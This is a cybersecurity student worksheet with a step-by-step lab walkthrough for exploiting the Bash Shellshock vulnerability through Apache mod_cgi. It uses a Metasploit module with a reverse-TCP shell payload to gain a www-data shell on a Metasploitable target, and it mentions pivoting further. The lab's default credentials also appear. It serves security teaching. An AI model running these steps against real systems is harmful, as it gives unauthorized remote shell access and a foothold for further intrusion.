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Shellshock vulnerability – Student 
Worksheet 

Background 

Shellshock first appeared back in September 2014, with reports of attacks within hours of the initial 
disclosure of the vulnerability. Over the next few days, there were millions of attacks and probes coming 
from botnets using this vulnerability. Bash is a shell, or interpreter, that allows commands to be run on a 
system, typically via a text window. It usually is the default shell on Unix systems, and as such, can be 
found on Linux, macOS, and other various Unix flavours. This is why Shellshock is so severe, as over half 
the web servers on the internet are running Unix, not to mention a myriad of IoT devices and even some 
routers. 

Shellshock works by allowing an attacker to append commands to function definitions in the values of 
environment variables. This would be classified as a type of code injection attack, and since Bash will 
process these commands after the function definition, pretty much any arbitrary code can be executed. 
Shellshock is actually an entire family of vulnerabilities consisting of multiple exploitation vectors. In this 
guide, we will be exploiting the CGI script attack vector, specifically, the mod_cgi module that is part of 
the Apache HTTP Server. 

For this project we will be using metasploit to run an attack to exploit the vulnerability. Metasploit is an 
open source project that provides a public resource for researching security vulnerabilities and developing 
code that allows a network administrator to break into his own network to identify security risks and 
document which vulnerabilities need to be addressed first. The Metasploit Project offers penetration 
testing software and provides tools for automating the comparison of a program's vulnerability and its 
repaired (patched) version.  Anti-forensic and advanced evasion tools are also offered and built into the 
Metasploit Framework.  

Walkthrough 

Step 1: Log into the metasploitable machine using the username:msfadmin and 
password:msfadmin; 

Step 2: Type cd /usr/lib/cgi-bin; 

Step 3: Type sudo nano hello.sh; 

Step 4: This will open the nano text editor, make sure you type all this code in correctly; 

Step 5: #!/bin/bash 

echo “Content-type: text/html” 

echo “” 

mailto:info@cyberpiprojects.com


 

Page 2 of 5 
https://www.csa.limited  | info@cyberpiprojects.com 

echo “hello world” 

Step 6: Once you have typed this small bash script in, press Ctrl+X, press Y and hit Enter to save 
the changes you have made; 

 

Step 7: Type sudo chmod 755 hello.sh to change the permissions of the file; 

Step 8: Lets log into our Kali machine using the username:root and password:toor; 

Step 9: We can make sure the bash file we created is working by opening a browser; 

Step 10: Type <target IP>/cgi-bin/hello.sh into the URL search bar and hit Enter; 

Step 11: You should now see a new page with the phrase “hello world” in it, if this appears we are 
good, if not check your previous steps on the metasploitable machine;  

 

Step 12: Open a terminal; 

Step 13: Type msfconsole; 
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Step 14: Type search shellshock; 

Step 15: Type use exploit/multi/http/apache_mod_cgi_bash_env_exec; 

Step 16: Type show options; 

 

Step 17: Type set RHOST <target IP>; 

Step 18: Type set TARGETURI http://<target IP>/cgi-bin/hello.sh; 

Step 19: Type show payloads; 

Step 20: Type set payload linux/x86/shell/reverse_tcp; 
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Step 21: Type set LHOST <your IP>; 

Step 22: Type check – as long as you get a result that the target it vulnerable we are good to go; 

 

Step 23: Type exploit; 

Step 24: Once the exploit has completed you will have a shell open on the target machine; 

Step 25: Type ifconfig to confirm the shell is open on the target machine; 

Step 26: Type whoami to see which account you are running as – this will be www-data; 

 

Step 27: You can still navigate around the target machine but you will not have all the permissions 
as though you were running as root. 

Conclusion 
In this project we have exploited a vulnerability in shellshock to gain a shell on the target system using a  
Metasploit module. But since this is a limited shell, we can only do so much. In order to pivot this shell 
we would need to use a post-exploit module to move and elevate this shell into a meterpreter shell. This 
would then provide us with greater abilities than being stuck at the standard user shell. Remember this 
vulnerability was aimed at linux based servers, so once these servers were compromised then it is 
possible to attack further targets within a network.  
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Disclaimer 
Any actions and or activities related to the material contained within this Website is solely your 
responsibility. The misuse of the information in this website can result in criminal charges brought against 
the persons in question. Cyber Security Associates Limited will not be held responsible for any criminal 
charges brought against any individuals misusing the information in these projects to break the law.     
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